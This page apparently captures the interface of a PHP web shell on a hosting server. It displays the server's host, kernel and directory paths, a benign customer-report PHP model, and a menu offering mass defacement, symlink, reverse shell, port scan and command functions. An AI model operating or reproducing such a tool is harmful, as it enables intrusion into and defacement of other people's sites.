Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
siscaps
/
models
/
Viewing: CustomerReport.php
<?php class CustomerReport { /** * Ensure the customer_reports table exists. Useful while migrations are applied. */ public static function ensureTable(PDO $pdo = null): void { if ($pdo === null) { $pdo = (new Database())->getConnection(); } if (!$pdo) { throw new RuntimeException('Sin conexión a la base de datos'); } $sql = "CREATE TABLE IF NOT EXISTS customer_reports ( id INT UNSIGNED NOT NULL AUTO_INCREMENT, customer_id INT UNSIGNED NOT NULL, reported_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, observations TEXT NULL, created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP, PRIMARY KEY (id), KEY idx_customer_reports_customer_id (customer_id), KEY idx_customer_reports_reported_at (reported_at), CONSTRAINT fk_customer_reports_customer FOREIGN KEY (customer_id) REFERENCES customers(id) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;"; $pdo->exec($sql); } /** * Obtiene la lista de reportes asociados a un cliente. */ public static function getByCustomer(int $customerId): array { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare('SELECT id, customer_id, reported_at, observations, created_at, updated_at FROM customer_reports WHERE customer_id = :cid ORDER BY reported_at DESC, id DESC'); $stmt->execute([':cid' => $customerId]); return $stmt->fetchAll(PDO::FETCH_ASSOC) ?: []; } /** * Busca un reporte por su ID. */ public static function findById(int $id): ?array { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare('SELECT id, customer_id, reported_at, observations, created_at, updated_at FROM customer_reports WHERE id = :id LIMIT 1'); $stmt->execute([':id' => $id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); return $row ?: null; } /** * Crea un nuevo reporte y devuelve su ID. */ public static function create(array $data): int { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare('INSERT INTO customer_reports (customer_id, reported_at, observations) VALUES (:customer_id, :reported_at, :observations)'); $stmt->execute([ ':customer_id' => (int)$data['customer_id'], ':reported_at' => $data['reported_at'], ':observations' => ($data['observations'] !== '' ? $data['observations'] : null), ]); return (int)$pdo->lastInsertId(); } /** * Actualiza un reporte existente. */ public static function update(int $id, array $data): bool { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare('UPDATE customer_reports SET reported_at = :reported_at, observations = :observations, updated_at = CURRENT_TIMESTAMP WHERE id = :id'); return $stmt->execute([ ':id' => $id, ':reported_at' => $data['reported_at'], ':observations' => ($data['observations'] !== '' ? $data['observations'] : null), ]); } /** * Elimina un reporte por ID. */ public static function delete(int $id): bool { $pdo = (new Database())->getConnection(); self::ensureTable($pdo); $stmt = $pdo->prepare('DELETE FROM customer_reports WHERE id = :id'); $stmt->execute([':id' => $id]); return $stmt->rowCount() > 0; } }
Coded With 💗 by
0x6ick